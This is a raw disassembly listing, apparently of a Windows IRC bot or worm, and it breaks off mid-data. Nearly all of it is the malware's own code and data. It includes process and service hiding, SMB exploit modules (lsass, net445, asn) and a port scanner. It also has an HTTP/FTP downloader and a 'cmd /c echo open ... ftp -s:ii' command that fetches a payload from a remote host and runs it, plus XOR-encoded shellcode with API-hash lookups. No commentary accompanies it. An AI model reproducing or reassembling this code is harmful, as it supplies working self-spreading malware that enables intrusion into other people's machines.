'%s\*',0 ; DATA XREF: sub_40D040+1Fo align 10h aExplorer_exe db '\explorer.exe',0 ; DATA XREF: ___:0040D559o align 10h aBai_0 db ' -bai ',0 align 4 aSCS db '%s%c%s',0 align 10h aProcess32next db 'Process32Next',0 ; DATA XREF: sub_40D660+D1o align 10h aProcess32first db 'Process32First',0 ; DATA XREF: sub_40D660+C4o align 10h dd 0 aCreatetoolhelp db 'CreateToolhelp32Snapshot',0 ; DATA XREF: sub_40D660+B7o align 10h dd 0 aRegisterservic db 'RegisterServiceProcess',0 ; DATA XREF: sub_40D660+AFo align 10h aKernel32_dll_0 db 'kernel32.dll',0 ; DATA XREF: sub_40D660+98o align 10h aComspecCSS db '%%comspec%% /c %s %s',0 ; DATA XREF: sub_40DC20+4D3o align 4 dd 0 aSSSSSSSSSS db '%s',0Dh,0Ah ; DATA XREF: sub_40DC20+37Co db '%s',0Dh,0Ah db '%s',0Dh,0Ah db '%s',0Dh,0Ah db '%s',0Dh,0Ah db '%s',0Dh,0Ah db '%s',0Dh,'%s',0Dh,0Ah db '%s',0Dh,'%s',0Dh,0Ah,0 align 4 dd 2 dup(0) aSS_4 db '"%s" %s',0 ; DATA XREF: sub_40EE40+6Ao align 8 aServicesactive db 'ServicesActive',0 ; DATA XREF: sub_40EE40+21o ; sub_40F060+Ao ... align 4 dd 0 aServDelS_ db 'serv(del) "%s".',0 ; DATA XREF: ___:0040F511o align 10h aServAddSAsSS_ db 'serv(add) "%s" as ""%s" %s".',0 ; DATA XREF: ___:0040F454o align 10h dd 0 aRegDelS_ db 'reg(del) "%s".',0 ; DATA XREF: ___:0040F359o align 8 aRegAddSAsS_ db 'reg(add) "%s" as "%s".',0 ; DATA XREF: ___:0040F2ADo align 10h dd 0 asc_444C54 db ' :',0 ; DATA XREF: sub_410030+E2Bo ; sub_410030+1118o ... align 4 asc_444C58: ; DATA XREF: sub_410030+CACo ; sub_410030+D15o ... unicode 0, <!>,0 aN_0 db ' -n',0 ; DATA XREF: sub_410030:loc_4109F8o ; sub_410030:loc_410C87o aS_2 db ' -s',0 ; DATA XREF: sub_410030:loc_4109CFo ; sub_410030:loc_410C66o asc_444C64: ; DATA XREF: sub_410030+871o ; sub_410030:loc_410CA8o ... unicode 0, <:>,0 a@: ; DATA XREF: sub_410030+7CCo ; sub_410030+D2Do ... unicode 0, <@>,0 aSSS_0 db '%s %s %s',0Dh,0Ah,0 ; DATA XREF: sub_410030+65Do ; sub_410030+732o ... align 4 dd 0 aSSSS00S db '%s %s',0Dh,0Ah ; DATA XREF: sub_410030+355o db '%s %s 0 0 :%s',0Dh,0Ah,0 align 8 aD_D_D_D db '%d.%d.%d.%d',0 ; DATA XREF: sub_410030+2C4o ; sub_412780+91o ... align 8 aSSSS db '%s %s %s %s',0Dh,0Ah,0 ; DATA XREF: sub_4120B0+4E3o align 4 aS_3 db '%s',0Dh,0Ah,0 ; DATA XREF: sub_4120B0+386o ; sub_426070+12Do ... align 10h aSSS_1 db '%s %s :%s',0Dh,0Ah,0 ; DATA XREF: sub_4120B0+CBo ; sub_412A40+8Fo align 10h aPublic db '[PUBLIC]',0 ; DATA XREF: sub_412780:loc_41288Bo align 4 aPrivate db '[PRIVATE]',0 ; DATA XREF: sub_412780+104o align 4 a_ db '. ',0 ; DATA XREF: sub_412780+CAo ; sub_412780+E5o align 4 aLan db 'lan: ',0 ; DATA XREF: sub_412780+AEo align 4 aUptime db 'uptime',0 ; DATA XREF: ___:loc_412FF7o align 4 aHost db 'host',0 ; DATA XREF: ___:loc_412FA4o align 4 aId db 'id',0 ; DATA XREF: ___:loc_412F4Ao align 4 asc_444D08: ; DATA XREF: ___:loc_412F33o dw 3Ch unicode 0, <>,0 asc_444D0C: ; DATA XREF: ___:loc_412F1Co dw 3Eh unicode 0, <>,0 asc_444D10 db '==',0 ; DATA XREF: ___:loc_412F05o align 4 asc_444D14 db '!=',0 ; DATA XREF: ___:00412EF1o align 4 a2_2x db '%2.2X',0 ; DATA XREF: sub_4138B0+B7o align 10h aSS_6 db '%s: %s',0 ; DATA XREF: sub_4193C0+30Fo align 4 aSD_0 db '%s: %d',0 ; DATA XREF: sub_4193C0+2E7o align 10h aSD_1 db '%s:%d',0 ; DATA XREF: sub_4193C0+272o ; sub_4193C0+29Bo align 4 aListening db 'listening',0 ; DATA XREF: sub_4193C0+210o align 4 aEstablished db 'established',0 ; DATA XREF: sub_4193C0+205o dd 0 off_444D54 dd offset dword_504354 ; DATA XREF: sub_4193C0+140o ; ___:0042C5F2o ... dword_444D58 dd 2D464544h, 504354h, 0 ; sub_4193C0+12Eo dword_444D64 dd 652Dh dword_444D68 dd 6C2Dh a_2d_2d4d_2d_2d db '[%.2d-%.2d-%4d %.2d:%.2d:%.2d] %s',0 ; DATA XREF: sub_419BE0+82o align 10h dd 0 aSS_3 db '%s%s',0 ; DATA XREF: ___:00419DF1o align 4 aSSS db '%s%s%s',0 ; DATA XREF: ___:00419DCCo align 4 byte_444DA4 db 1 ; DATA XREF: sub_41A390r align 4 dword_444DA8 dd 30B0005h, 10h, 48h, 1, 16D016D0h, 0 dd 1, 10000h, 0AFA8BD80h, 11C97D8Ah, 8F4BEh, 8929102Bh dd 1, 8A885D04h, 11C91CEBh, 8E89Fh, 6048102Bh, 2, 0 ; --------------------------------------------------------------------------- loc_444DF4: ; DATA XREF: ___:00421859o mov al, 1 push edx xchg eax, edi retf 0D059h ; --------------------------------------------------------------------------- db 11h dd 0A000D5A8h, 51800DC9h, 0 dword_444E08 dd 1D55B526h, 46C5C137h, 8F6379ABh, 69E8682Ah, 0dword_444E1C dd 3000005h, 10h, 18h, 1, 0Ah dup(0)dword_444E54 dd 63257325h, 0 ; sub_41F960+E5o dword_444E5C dd 72h dword_444E60 dd 30h ; sub_424920+327o dword_444E64 dd 3039h dword_444E68 dd 383631h dword_444E6C dd 323931h dword_444E70 dd 3631h dword_444E74 dd 323731h dword_444E78 dd 3031h off_444E7C dd offset dword_5C005C ; DATA XREF: ___:0041C217r ; ___:0041C387r word_444E80 dw 0 ; DATA XREF: ___:0041C221r ; ___:0041C391r align 4 off_444E84 dd offset dword_49005C ; DATA XREF: ___:0041C1E6r ; ___:0041C356r off_444E88 dd offset loc_43004E+2 ; DATA XREF: ___:0041C1EBr ; ___:0041C35Br dword_444E8C dd 24h ; ___:0041C37Fr dd 0 aDlEdUpdateS db 'dl',27h,'ed-update: %s',0 ; DATA XREF: sub_41D930+5F5o align 4 aOpenS_ db 'open %s.',0 ; DATA XREF: sub_41D930+5BAo align 4 aDlDone_S_ db 'dl, done. %s .',0 ; DATA XREF: sub_41D930+567o align 8 asc_444EC8 db 0Dh,0Ah ; DATA XREF: sub_41D930+48Fo db 0Dh,0Ah,0 align 10h aHttpBadopen db 'http(badopen)',0 ; DATA XREF: sub_41D930+3F1o align 10h aWb db 'wb',0 ; DATA XREF: sub_41D930+3C0o ; ___:0041FD87o align 4 aHttpGetting db 'http(getting)',0 ; DATA XREF: sub_41D930+3AFo align 4 aGetSHttp1_0Con db 'GET %s HTTP/1.0',0Dh,0Ah ; DATA XREF: sub_41D930+36Do db 'Connection: Keep-Alive',0Dh,0Ah db 'User-Agent: Mozilla/4.5',0Dh,0Ah db 'Host: %s:%d',0Dh,0Ah db 0Dh,0Ah,0 align 4 dd 4 dup(0) aHttpBadconnect db 'http(badconnect)',0 ; DATA XREF: sub_41D930+327o align 4 aFtpBaddl db 'ftp(baddl)',0 ; DATA XREF: sub_41D930+2A3o align 4 dd 0 aFtpGetting db 'ftp(getting)',0 ; DATA XREF: sub_41D930+25Ao align 4 aFtpBadlogin db 'ftp(badlogin)',0 ; DATA XREF: sub_41D930+224o align 4 aFtpBadconnect db 'ftp(badconnect)',0 ; DATA XREF: sub_41D930+1CEo align 10h aSysLogoff db 'sys(logoff)',0 ; DATA XREF: ___:0041E47Eo align 10h aSysSd db 'sys(sd)',0 ; DATA XREF: ___:0041E42Fo dd 0 dword_444FCC dd 28737973h, 6F626572h, 29746Fh, 0dword_444FDC dd 6469706Bh, 7325203Ah, 0dword_444FE8 dd 203A736Bh, 7325hdword_444FF0 dd 202E6425h, 7325202Fh, 0dword_444FFC dd 203A706Bh, 7325haD_PidDS db '%d. - Pid: %d - "%s"',0 ; DATA XREF: sub_41E760+130o align 10h a221 db '221 ',0Dh,0Ah,0 ; DATA XREF: sub_41F030+694o ; sub_41F030+6A9o align 4 a226 db '226 ',0Dh,0Ah,0 ; DATA XREF: sub_41F030:loc_41F695o ; sub_41F030+677o align 10h aFtpD_D_D_DDByt db 'ftp: %d.%d.%d.%d -> (%d bytes) (total sends: %d)',0 ; DATA XREF: sub_41F030+62Bo align 4 dd 2 dup(0) aRb db 'rb',0 ; DATA XREF: sub_41F030+53Fo align 10h a150 db '150 ',0Dh,0Ah,0 ; DATA XREF: sub_41F030+505o ; sub_41F030+51Ao align 4 asc_445078: ; DATA XREF: sub_41F030+2EFo ; sub_41F030+33Ao ... unicode 0, <,>,0 a200 db '200 ',0Dh,0Ah,0 ; DATA XREF: sub_41F030+286o ; sub_41F030+29Bo ... align 4 a230 db '230 ',0Dh,0Ah,0 ; DATA XREF: sub_41F030+254o ; sub_41F030+269o align 4 a331 db '331 ',0Dh,0Ah,0 ; DATA XREF: sub_41F030+222o ; sub_41F030+237o align 4 a220 db '220 ',0Dh,0Ah,0 ; DATA XREF: sub_41F030+1F3o ; sub_41F030+205o align 4 aFtpD_D_D_DOnD db 'ftp: %d.%d.%d.%d on %d',0 ; DATA XREF: sub_41F030+17Eo align 8 aDDUseridUnixS db '%d, %d : USERID : UNIX : %s',0Dh,0Ah,0 ; DATA XREF: sub_41F960+13Co align 4 dd 0 aBinres db 'BINRES',0 ; DATA XREF: ___:0041FDBDo align 4 aUnknown db 'unknown',0 ; DATA XREF: sub_420090:loc_4200E5o ; sub_420630+C4r ... align 10h aImagepath db 'ImagePath',0 ; DATA XREF: sub_4201F0+CBo ; sub_4208E0+316o align 4 aSystemCurrentc db 'SYSTEM\CurrentControlSet\Services\%s',0 ; DATA XREF: sub_4201F0+73o ; sub_4208E0+2BEo align 8 aSedebugprivile db 'SeDebugPrivilege',0 ; DATA XREF: sub_4204D0+63o align 4 aGetmodulefilen db 'GetModuleFileNameExA',0 ; DATA XREF: sub_420630+72o align 8 aEnumprocessmod db 'EnumProcessModules',0 ; DATA XREF: sub_420630+64o align 10h aEnumprocesses db 'EnumProcesses',0 ; DATA XREF: sub_420630+52o align 10h aPsapi_dll db 'PSAPI.DLL',0 ; DATA XREF: sub_420630+20o ; sub_420630+34o align 4 aSS db '[%s] [%s]',0 ; DATA XREF: sub_4208E0+34Co align 4 aS????_exe db '[%s] [????.exe]',0 ; DATA XREF: sub_4208E0+32Do dd 0 aS????_exeUnkno db '[%s] [????.exe] (Unknown key)',0 ; DATA XREF: sub_4208E0+2F3o align 10h aThemes db 'Themes',0 ; DATA XREF: sub_4208E0+1F6o align 4 aSrservice db 'srservice',0 ; DATA XREF: sub_4208E0+1EBo align 4 aWuauserv db 'wuauserv',0 ; DATA XREF: sub_4208E0+1E0o align 10h aWzcsvc db 'WZCSVC',0 ; DATA XREF: sub_4208E0+1D5o align 4 aWinmgmt db 'winmgmt',0 ; DATA XREF: sub_4208E0+1CAo dd 0 aWebclient db 'WebClient',0 ; DATA XREF: sub_4208E0+1BFo align 10h aW32time db 'W32Time',0 ; DATA XREF: sub_4208E0+1B4o dd 0 aUpnphost db 'upnphost',0 ; DATA XREF: sub_4208E0+1A9o align 4 aUploadmgr db 'uploadmgr',0 ; DATA XREF: sub_4208E0+19Eo align 4 aTrkwks db 'TrkWks',0 ; DATA XREF: sub_4208E0+193o align 4 aTermservice db 'TermService',0 ; DATA XREF: sub_4208E0+188o dd 0 aTapisrv db 'TapiSrv',0 ; DATA XREF: sub_4208E0+17Do align 8 aStisvc db 'stisvc',0 ; DATA XREF: sub_4208E0+172o align 10h aSsdpsrv db 'SSDPSRV',0 ; DATA XREF: sub_4208E0+167o dd 0 aSpooler db 'Spooler',0 ; DATA XREF: sub_4208E0+15Co align 8 aShellhwdetecti db 'ShellHWDetection',0 ; DATA XREF: sub_4208E0+151o align 4 aSens db 'SENS',0 ; DATA XREF: sub_4208E0+146o align 4 aSeclogon db 'seclogon',0 ; DATA XREF: sub_4208E0+13Bo align 10h aSchedule db 'Schedule',0 ; DATA XREF: sub_4208E0+130o align 4 aSamss db 'SamSs',0 ; DATA XREF: sub_4208E0+125o align 4 aRpcss db 'RpcSs',0 ; DATA XREF: sub_4208E0+11Ao align 4 aRasman db 'RasMan',0 ; DATA XREF: sub_4208E0+10Fo align 4 aProtectedstora db 'ProtectedStorage',0 ; DATA XREF: sub_4208E0+104o align 4 aPolicyagent db 'PolicyAgent',0 ; DATA XREF: sub_4208E0+F9o align 8 aPlugplay db 'PlugPlay',0 ; DATA XREF: sub_4208E0+EEo align 4 off_4452F4 dd offset word_616C4E ; DATA XREF: sub_4208E0+E3o aNetman db 'Netman',0 ; DATA XREF: sub_4208E0+D8o align 10h aMessenger db 'Messenger',0 ; DATA XREF: sub_4208E0+CDo align 4 off_44530C dd offset byte_4D444D ; DATA XREF: sub_4208E0+C5o aLmhosts db 'LmHosts',0 ; DATA XREF: sub_4208E0+BDo dd 0 aLanmanworkstat db 'lanmanworkstation',0 ; DATA XREF: sub_4208E0+B5o align 10h dd 0 aLanmanserver db 'lanmanserver',0 ; DATA XREF: sub_4208E0+ADo align 4 aHelpsvc db 'helpsvc',0 ; DATA XREF: sub_4208E0+A5o align 10h aFastuserswitch db 'FastUserSwitchingCompatibility',0 ; DATA XREF: sub_4208E0+9Do align 10h dd 2 dup(0) aEventsystem db 'EventSystem',0 ; DATA XREF: sub_4208E0+95o align 8 aEventlog db 'Eventlog',0 ; DATA XREF: sub_4208E0+8Do align 4 aErsvc db 'ERSvc',0 ; DATA XREF: sub_4208E0+85o align 4 aDnscache db 'Dnscache',0 ; DATA XREF: sub_4208E0+7Do align 4 aDmserver db 'dmserver',0 ; DATA XREF: sub_4208E0+75o align 4 aDhcp db 'Dhcp',0 ; DATA XREF: sub_4208E0+6Do align 4 aCryptsvc db 'CryptSvc',0 ; DATA XREF: sub_4208E0+65o align 4 aBrowser db 'Browser',0 ; DATA XREF: sub_4208E0+5Do dd 0 aAudiosrv db 'AudioSrv',0 ; DATA XREF: sub_4208E0+55o ; sub_4208E0:loc_420B6Bo align 10h asc_4453E0: ; DATA XREF: sub_420F10:loc_420FCFo ; sub_420F10+F9o ... unicode 0, </>,0 aFtp db 'ftp',0 ; DATA XREF: sub_420F10+94o ; sub_420F10:loc_42117Eo ... aHttp db 'http',0 ; DATA XREF: sub_420F10+84o ; sub_420F10+257o ... align 10h aAsn db 'asn',0 ; DATA XREF: sub_4228F0+31o dd 0 dd 73610000h, 6Eh, 6 dup(0) dword_445418 dd 1BDh ; sub_422B40+310o ... off_44541C dd offset sub_401820 ; DATA XREF: ___:00423F8Dr dword_445420 dd 0 ; sub_4236F0+3Ar ... dd 1, 0 aAsn2 db 'asn2',0 align 4 dd 73610000h, 326Eh, 6 dup(0) dd 1BDh, 401820h, 0 dd 1, 0 aNet445 db 'net445',0 align 10h dd 656E0000h, 35343474h, 6 dup(0) dd 1BDh, 402199h, 0 dd 1, 0 aLsass db 'lsass',0 align 4 dd 736C0000h, 737361h, 6 dup(0) dd 1BDh, 401DCAh, 0 dd 1, 1Fh dup(0) aScanSSPortScan db 'Scan(%s): %s Port Scan %s:%d - Delay %d Sec - %d Min - %d threads' ; DATA XREF: sub_422B40+8F3o db 0 align 4 dd 3 dup(0) aSequential db 'sequential',0 ; DATA XREF: sub_422B40+8B3o align 8 aRandom db 'random',0 ; DATA XREF: sub_422B40+8ACo align 10h aScanNoIpSpecif db 'scan: no ip specified',0 ; DATA XREF: sub_422B40+760o align 4 dd 0 aB db ' -b',0 ; DATA XREF: sub_422B40+747o off_4455E0 dd offset dword_612D20 ; DATA XREF: sub_422B40+737o ; sub_422B40+7A3o ... dword_4455E4 dd 722D20h ; sub_422B40+7E5o aScanInvalidPor db 'scan: invalid port',0 ; DATA XREF: sub_422B40+640o align 10h aTotalD db ' total: %d',0 ; DATA XREF: sub_422B40+397o align 10h aSD db ' %s: %d,',0 ; DATA XREF: sub_422B40+35Fo align 4 aScanStats db 'scan: stats:',0 ; DATA XREF: sub_422B40+336o align 4 aScanTooManyThr db 'scan: too many threads (%s)',0 ; DATA XREF: sub_422B40+275o align 10h aScanCouldnTSto db 'scan: couldn',27h,'t stop',0 ; DATA XREF: sub_422B40+1DAo align 8 aScanStoppedDTh db 'scan: stopped (%d threads)',0 ; DATA XREF: sub_422B40+197o align 8 aFtpPortDTotalS db 'ftp: port: %d, total sends: %d',0 ; DATA XREF: sub_422B40+140o align 10h aScanNotStarted db 'scan: not started',0 ; DATA XREF: sub_422B40+B2o align 8 aScanCipS db 'scan: cip (%s)',0 ; DATA XREF: sub_422B40+6Do align 4 dd 0 dword_4456DC dd 6B636F53h, 63207465h, 65736F6Ch, 2E64h, 0aRecvfromSocket db 'recvfrom() socket failed',0 ; DATA XREF: ___:loc_423C42o align 10h aSocketOpen_ db 'Socket open.',0 ; DATA XREF: ___:00423C25o align 10h aSendtoSocketFa db 'sendto() socket failed. sent = %d <%d>.',0 ; DATA XREF: ___:00423B95o align 10h aSocketOpenFail db 'socket open failed',0 ; DATA XREF: ___:00423B5Fo ; ___:off_447670o align 8 aScanIpSPortDIs db '[SCAN]: IP: %s, Port %d is open.',0 ; DATA XREF: ___:00423E37o align 10h aScanIpSDScanTh db '[SCAN]: IP: %s:%d, Scan thread: %d, Sub-thread: %d.',0 ; DATA XREF: ___:00423DD6o align 10h aScanFinishedAt db '[SCAN]: Finished at %s:%d after %d minute(s) of scanning.',0 ; DATA XREF: ___:004242B7o align 4 dd 3 dup(0) aScanFailedToSt db '[SCAN]: Failed to start worker thread, error: <%d>.',0 ; DATA XREF: ___:00424206o dd 3 dup(0) aScanSDScanThre db '[SCAN]: %s:%d, Scan thread: %d, Sub-thread: %d.',0 ; DATA XREF: ___:0042414Fo dd 3 dup(0) aRbrbrbrb db 'BBBB',0 ; DATA XREF: sub_424920+BDo align 10h dword_4458A0 dd 10FF8h, 0 dword_4458A8 dd 10FF8h dword_4458AC dd 7FFDF020h, 0 dword_4458B4 dd 424D53FFh, 72h, 0C8531800h, 3 dup(0) dd 13370000h, 0 dd 2006200h aPcNetworkProgr db 'PC NETWORK PROGRAM 1.0',0 db 2 db 4Ch ; L db 41h, 4Eh, 4Dh db 41h ; A db 4Eh, 31h, 2Eh db 30h ; 0 align 2 dw 5702h aIndowsForWorkg db 'indows for Workgroups 3.1a',0 db 2 dd 2E314D4Ch, 30305832h, 4C020032h, 414D4E41h, 312E324Eh dd 544E0200h, 204D4C20h, 32312E30h, 0 dword_44593C dd 424D53FFh, 73h, 0C8071800h, 3 dup(0) dd 13370000h, 0 dd 0FF0Ch, 0A110400h, 2 dup(0) dword_44596C dd 0 dword_445970 dd 800000D4h align 8 ; =============== S U B R O U T I N E ======================================= sub_445978 proc near ; DATA XREF: sub_425100+85o push ebx push esi push edi sub sp, 80h mov esi, esp call sub_445A74 push dword ptr [esi] push 63D61209h call sub_445A8A mov [esi+8], eax call sub_445A3D push dword ptr [esi+4] push 0CA2BD06Bh call sub_445A8A mov [esi+0Ch], eax call sub_4459EF push dword ptr [esi+4] push 4C0297FAh call sub_445A8A xor ebx, ebx push 410h push ebx call eax mov ebx, eax push esi mov esi, [esi+10h] mov edi, eax mov ecx, 410h rep movsb pop esi xor eax, eax push eax push eax push eax push ebx push eax push eax call dword ptr [esi+0Ch] mov eax, [esi+8] add sp, 80h pop edi pop esi pop ebx jmp eax sub_445978 endp ; =============== S U B R O U T I N E ======================================= sub_4459EF proc near ; CODE XREF: sub_445978+33p var_20 = dword ptr -20h var_14 = dword ptr -14h pusha call sub_445A18 mov eax, [esp+20h+var_14] lea ebx, [eax+7Ch] add dword ptr [ebx+3Ch], 5 add dword ptr [ebx+28h], 1000h and dword ptr [ebx+28h], 0FFFFF000h mov eax, [esp+20h+var_20] add esp, 14h push eax xor eax, eax retn sub_4459EF endp ; sp-analysis failed ; =============== S U B R O U T I N E ======================================= sub_445A18 proc near ; CODE XREF: sub_4459EF+1p xor edx, edx push dword ptr fs:[edx] mov fs:[edx], esp xor ebx, ebx mov eax, 42904290h loc_445A27: ; CODE XREF: sub_445A18+1Aj xor ecx, ecx mov cl, 2 mov edi, ebx repe scasd jz short loc_445A34 inc ebx jmp short loc_445A27 ; --------------------------------------------------------------------------- loc_445A34: ; CODE XREF: sub_445A18+17j mov [esi+10h], edi pop dword ptr fs:[edx] pop eax popa retn sub_445A18 endp ; sp-analysis failed ; =============== S U B R O U T I N E ======================================= sub_445A3D proc near ; CODE XREF: sub_445978+1Ep pusha mov edi, 7FFDF020h mov ebx, [edi] mov eax, [esi+8] mov [edi], eax mov edi, [edi-8] add edi, 178h mov ecx, edi loc_445A55: ; CODE XREF: sub_445A3D+1Ej cmp [ecx], ebx jz short loc_445A5D mov ecx, [ecx] jmp short loc_445A55 ; --------------------------------------------------------------------------- loc_445A5D: ; CODE XREF: sub_445A3D+1Aj mov edx, edi loc_445A5F: ; CODE XREF: sub_445A3D+2Aj cmp [edx+4], ebx jz short loc_445A69 mov edx, [edx+4] jmp short loc_445A5F ; --------------------------------------------------------------------------- loc_445A69: ; CODE XREF: sub_445A3D+25j mov [ecx], edx mov [edx+4], ecx mov byte ptr [ebx-3], 1 popa retn sub_445A3D endp ; =============== S U B R O U T I N E ======================================= sub_445A74 proc near ; CODE XREF: sub_445978+Ap mov eax, ds:7FFDF00Ch mov eax, [eax+1Ch] mov ebx, [eax+8] mov [esi], ebx mov eax, [eax] mov eax, [eax+8] mov [esi+4], eax retn sub_445A74 endp ; =============== S U B R O U T I N E ======================================= sub_445A8A proc near ; CODE XREF: sub_445978+16p ; sub_445978+2Bp ... var_4 = dword ptr -4 arg_0 = dword ptr 4 arg_4 = dword ptr 8 pusha mov ebp, [esp+20h+arg_4] mov eax, [ebp+3Ch] mov edx, [ebp+eax+78h] add edx, ebp mov ecx, [edx+18h] mov ebx, [edx+20h] add ebx, ebp loc_445AA0: ; CODE XREF: sub_445A8A+33j jecxz short loc_445ADA dec ecx mov esi, [ebx+ecx*4] add esi, ebp xor edi, edi xor eax, eax cld loc_445AAD: ; CODE XREF: sub_445A8A+2Dj lodsb cmp al, ah jz short loc_445AB9 ror edi, 0Dh add edi, eax jmp short loc_445AAD ; --------------------------------------------------------------------------- loc_445AB9: ; CODE XREF: sub_445A8A+26j cmp edi, [esp+20h+arg_0] jnz short loc_445AA0 mov ebx, [edx+24h] add ebx, ebp mov cx, [ebx+ecx*2] mov ebx, [edx+1Ch] add ebx, ebp mov eax, [ebx+ecx*4] add eax, ebp mov [esp+20h+var_4], eax popa retn 8 ; --------------------------------------------------------------------------- loc_445ADA: ; CODE XREF: sub_445A8A:loc_445AA0j ; sub_445A8A:loc_445ADAj jmp short loc_445ADA sub_445A8A endp ; --------------------------------------------------------------------------- align 10h ; =============== S U B R O U T I N E ======================================= sub_445AE0 proc near ; DATA XREF: sub_425100+1Eo arg_0 = dword ptr 4 add esp, 0FFFFF254h cld call sub_445B32 mov eax, [ebp+3Ch] mov edi, [ebp+eax+78h] add edi, ebp mov ecx, [edi+18h] mov ebx, [edi+20h] add ebx, ebp loc_445AFD: ; CODE XREF: sub_445AE0+38j jecxz short loc_445B2D dec ecx mov esi, [ebx+ecx*4] add esi, ebp xor eax, eax cdq loc_445B08: ; CODE XREF: sub_445AE0+32j lodsb test al, al jz short loc_445B14 ror edx, 0Dh add edx, eax jmp short loc_445B08 ; --------------------------------------------------------------------------- loc_445B14: ; CODE XREF: sub_445AE0+2Bj cmp edx, [esp+arg_0] jnz short loc_445AFD mov ebx, [edi+24h] add ebx, ebp mov cx, [ebx+ecx*2] mov ebx, [edi+1Ch] add ebx, ebp mov ebx, [ebx+ecx*4] add ebx, ebp loc_445B2D: ; CODE XREF: sub_445AE0:loc_445AFDj mov [esp+arg_0], ebx retn sub_445AE0 endp ; =============== S U B R O U T I N E ======================================= sub_445B32 proc near ; CODE XREF: sub_445AE0+7p ; FUNCTION CHUNK AT 00445B6A SIZE 00000005 BYTES xor eax, eax mov eax, fs:[eax+30h] test eax, eax js short loc_445B4B mov eax, [eax+0Ch] mov esi, [eax+1Ch] lodsd mov ebp, [eax+8] jmp loc_445B56 ; --------------------------------------------------------------------------- loc_445B4B: ; CODE XREF: sub_445B32+8j mov eax, [eax+34h] add eax, 7Ch mov ebp, [eax+3Ch] loc_445B56: ; CODE XREF: sub_445B32+14j pop edi xor esi, esi pusha push esi jmp short loc_445B6A sub_445B32 endp ; sp-analysis failed ; =============== S U B R O U T I N E ======================================= sub_445B5D proc near ; CODE XREF: sub_445B32:loc_445B6Ap push 60E0CEEFh push 0E8AFE98h push edi jmp edi sub_445B5D endp ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_445B32 loc_445B6A: ; CODE XREF: sub_445B32+29j call sub_445B5D ; END OF FUNCTION CHUNK FOR sub_445B32 ; --------------------------------------------------------------------------- db 0 dd 25h dup(0) dword_445C04 dd 23h dword_445C08 dd 60h dword_445C0C dd 62B0606h, 2050501h, 0A0hdword_445C18 dd 0A1h dword_445C1C dd 3 aCccc db 'CCCC',0 ; DATA XREF: sub_424920+16Do align 4 loc_445C28: ; DATA XREF: sub_424920+100o jmp short near ptr dword_445C30 ; --------------------------------------------------------------------------- align 10h dword_445C30 dd 0 aCmdCEchoOpenSD db 'cmd /c echo open %s %d >> ii &echo user a a >> ii &echo binary >>' ; DATA XREF: sub_425100+60o db ' ii &echo get %s >> ii &echo bye >> ii &ftp -n -v -s:ii &del ii &' db '%s',0Dh,0Ah,0 align 4 dd 7 dup(0) ; --------------------------------------------------------------------------- jmp short loc_445CEA ; =============== S U B R O U T I N E ======================================= sub_445CDA proc far ; CODE XREF: sub_445CDA:loc_445CEAp pop ebx dec ebx xor ecx, ecx mov cx, 125h loc_445CE2: ; CODE XREF: sub_445CDA+Cj xor byte ptr [ebx+ecx], 99h loop loc_445CE2 jmp short loc_445CEF ; --------------------------------------------------------------------------- loc_445CEA: ; CODE XREF: ___:00445CD8j call near ptr sub_445CDA loc_445CEF: ; CODE XREF: sub_445CDA+Ej jo short loc_445D53 cdq cdq cdq mov ch, 38h test eax, 12999999h fst dword ptr [ebp+3485E912h] adc dh, cl xchg eax, ecx adc ch, [esi-0Dh] popf sal byte ptr [ecx+2], 99h cdq cdq jnp short loc_445D71 icebp stosb stosd cdq cdq icebp out dx, al jmp far ptr 128Fh:66CDC6ABh ; --------------------------------------------------------------------------- db 71h dd 71C09DF3h, 9999991Bh, 7518607Bh, 99999809h, 9898F1CDh dd 0CF669999h, 0C9C9C989h, 0D9C9D9C9h, 8DCF66C9h, 0E6F14112h dd 0F1989999h, 4B9D999Bh ; --------------------------------------------------------------------------- adc dl, [ebp-0Dh] loc_445D53: ; CODE XREF: sub_445CDA:loc_445CEFj mov eax, ecx retf 0CF66h ; --------------------------------------------------------------------------- dd 0EC591C81h, 0F4FAF1D3h, 0FF1099FDh, 0CD751AA9h, 0F3BDA514h dd 7B32C08Ch db 64h ; --------------------------------------------------------------------------- loc_445D71: ; CODE XREF: sub_445CDA+35j pop edi fnstsw word ptr [ebp-22982277h] mov ebp, 0BDC510A4h rcl dword ptr [eax], 1 lds edi, [ebp-423AEF2Bh] leave adc al, 0DDh mov ebp, 0C8C9CD89h enter 0FFFFF3C8h, 98h enter 66C8h, 0EFh test eax, 9DCF66C8h adc dl, [ebp-0Dh] db 66h, 66h test al, 66h iret sub_445CDA endp ; sp-analysis failed ; --------------------------------------------------------------------------- xchg eax, ecx retf 0CF66h ; --------------------------------------------------------------------------- dw 6685h dd 0CFC895CFh, 12A5DC12h, 9AE1B1CDh, 0EB12CB4Ch, 0AA6C9AB9h dd 34D8D050h, 42AA5C9Ah, 0A3892796h, 5891ED4Fh, 439A9452h dd 0A26872D9h, 0C37EEC86h, 9ABDC312h, 9512FF44h, 85C312D2h dd 9D12449Ah, 325C9A12h, 715AC0C7h, 66666699h, 7597D717h dd 8F2A67EBh, 579C4034h, 0F9795776h, 0A2657452h, 346C9040h dd 0F9336075h, 0E05FE07Eh, 0 ; --------------------------------------------------------------------------- loc_445E18: ; DATA XREF: sub_4257F0+12Bo ; sub_4257F0+135o ... jmp short loc_445E2A ; =============== S U B R O U T I N E ======================================= sub_445E1A proc near ; CODE XREF: sub_445E1A:loc_445E2Ap pop edx dec edx xor ecx, ecx mov cx, 17Dh loc_445E22: ; CODE XREF: sub_445E1A+Cj xor byte ptr [edx+ecx], 99h loop loc_445E22 jmp short loc_445E2F ; --------------------------------------------------------------------------- loc_445E2A: ; CODE XREF: ___:loc_445E18j call sub_445E1A loc_445E2F: ; CODE XREF: sub_445E1A+Ej jo short near ptr dword_445DA8+1Eh cwde cdq cdq retn sub_445E1A endp ; sp-analysis failed ; --------------------------------------------------------------------------- db 0FDh, 38h, 0A9h dd 12999999h, 0E91295D9h, 0D9123485h, 12411291h, 0ED12A5EAh dd 6A9AE187h, 9AB9E712h, 8DD71262h, 0CECF74AAh, 9AA612C8h dd 0F36B1262h, 3F6AC097h, 0C6C091EDh, 0DC9D5E1Ah, 0C6C0707Bh dd 125412C7h, 5A9ABDDFh, 589A7848h, 12FF50AAh, 85DF1291h dd 78585A9Ah, 12589A9Bh, 125A9A99h, 1A6E1263h, 4912975Fh dd 71C09AF3h, 9999991Eh, 0CB945F1Ah, 65CE66CFh, 0F34112C3h dd 0ED71C09Ch, 0C9999999h, 0F3C9C9C9h, 669BF398h, 411275CEh dd 